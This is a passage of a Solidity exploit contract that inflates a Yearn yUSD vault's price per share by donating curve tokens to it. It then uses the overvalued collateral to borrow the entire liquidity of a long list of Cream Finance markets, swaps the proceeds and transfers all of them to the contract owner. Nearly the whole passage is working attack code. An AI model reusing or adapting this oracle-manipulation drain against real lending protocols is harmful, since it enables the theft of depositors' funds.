        IYearnVault(yusd).deposit(amount);
        console.log("yusd recieved: %s", IERC20(yusd).balanceOf(address(this)));
    }
 
    function depositCryusd() internal {
        uint amount = IERC20(yusd).balanceOf(address(this));
        IERC20(yusd).approve(cryusd, amount);
        ICrToken(cryusd).mint(amount);
        console.log("cryusd recieved: %s", IERC20(cryusd).balanceOf(address(this)));
    }
 
    function withdrawNative() internal {
        uint amount = weth.balanceOf(address(this));
        IWrappedNative(address(weth)).withdraw(amount);
    }
 
    function depositEthBorrowYusd() internal {
        console.log("yusd start: %s", IERC20(yusd).balanceOf(address(this)));
        uint amount = address(this).balance;
        contractb.depositAndBorrow{value:amount}();
        console.log("yusd recieved: %s", IERC20(yusd).balanceOf(address(this)));
    }
 
    function withdrawYusdAndInflate() internal {
        console.log("pricepershare start : %s", IYearnVault(yusd).pricePerShare());
        uint amount = IERC20(yusd).balanceOf(address(this));
        IYearnVault(yusd).withdraw(amount);
        console.log("curveDepositToken recieved: %s", IERC20(curveDepositToken).balanceOf(address(this)));
        console.log("curveDepositToken vault: %s", IERC20(curveDepositToken).balanceOf(yusd));
 
        //Inflate vault
        IERC20(curveDepositToken).transfer(yusd, startYusd);
        console.log("curveDepositToken vault: %s", IERC20(curveDepositToken).balanceOf(yusd));
        console.log("pricepershare end : %s", IYearnVault(yusd).pricePerShare());
    }
 
    function borrowAllEth() internal {
        ICether(creth).borrow(creth.balance);
        console.log("eth recieved: %s", address(this).balance);
    }
 
    function borrowTokens(address market) internal {
        address underlying = ICrToken(market).underlying();
        uint borrowAmount = IERC20(underlying).balanceOf(market);
        console.log("asset : %s", underlying);
 
        try ICrToken(market).borrow(borrowAmount) {      
            console.log("borrowed: %s", IERC20(underlying).balanceOf(address(this)));
        }
        catch {
            console.log("skipped");
        }
    }
 
    function borrowAll() internal {
        borrowAllEth();
        borrowTokens(crdai);
        borrowTokens(crusdc);
        borrowTokens(crusdt);
        borrowTokens(crfei);
        borrowTokens(crcreth2);
        borrowTokens(crftt);
        borrowTokens(crperp);
        borrowTokens(crrune);
        borrowTokens(crdpi);
        borrowTokens(cruni);
        borrowTokens(crgno);
    }
 
    function withdrawToDai() internal {
        uint amount = IERC20(curveDepositToken).balanceOf(address(this));
        IERC20(curveDepositToken).approve(curveDepositor, amount);
        ICurveDepositor(curveDepositor).remove_liquidity_one_coin(amount, 0, 1, false);
        console.log("dai balance: %s", IERC20(dai).balanceOf(address(this)));
    }
 
    function depositToWeth() internal {
        IWrappedNative(address(weth)).deposit{value: address(this).balance}();
        console.log("weth balance: %s", IERC20(weth).balanceOf(address(this)));
    }
 
    function swapToUsd() internal {
        uint extra = IERC20(weth).balanceOf(address(this)) - ethToRepay;
 
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = ICrToken(crusdc).underlying();
 
        uint amount = extra / 10;
        weth.approve(uniswapV2, extra);
        IUniswapV2Router02(uniswapV2).swapExactTokensForTokens(amount * 8, 1, path, address(this), block.timestamp);
 
        path[1] = address(dai);
        IUniswapV2Router02(uniswapV2).swapExactTokensForTokens(amount, 2, path, address(this), block.timestamp);
        console.log("weth balance: %s", IERC20(weth).balanceOf(address(this)));
    }
 
    function swapUsdToDai() internal {
        address token = ICrToken(crusdc).underlying();
        uint amount = IERC20(token).balanceOf(address(this));
        IERC20(token).approve(y3crv, amount);
        ICurvePool(y3crv).exchange(1, 0, amount, 1);
        console.log("dai balance: %s", IERC20(dai).balanceOf(address(this)));
    }
 
    function withdrawProfits() public {
        console.log("Final Phase: Send Profits To Owner");
        payable(owner()).transfer(address(this).balance);
        withdrawUnderlying(crdai);
        withdrawUnderlying(crusdc);
        withdrawUnderlying(crusdt);
        withdrawUnderlying(crfei);
        withdrawUnderlying(crcreth2);
        withdrawUnderlying(crftt);
        withdrawUnderlying(crperp);
        withdrawUnderlying(crrune);
        withdrawUnderlying(crdpi);
        withdrawUnderlying(cruni);
        withdrawUnderlying(crgno);
    }
 
    function withdrawUnderlying(address token) internal {
        address underlying = ICrToken(token).underlying();
        transferToken(underlying);
    }
    function transferToken(address token) public {
        IERC20(token).transfer(owner(), IERC20(token).balanceOf(address(this)));
    }
}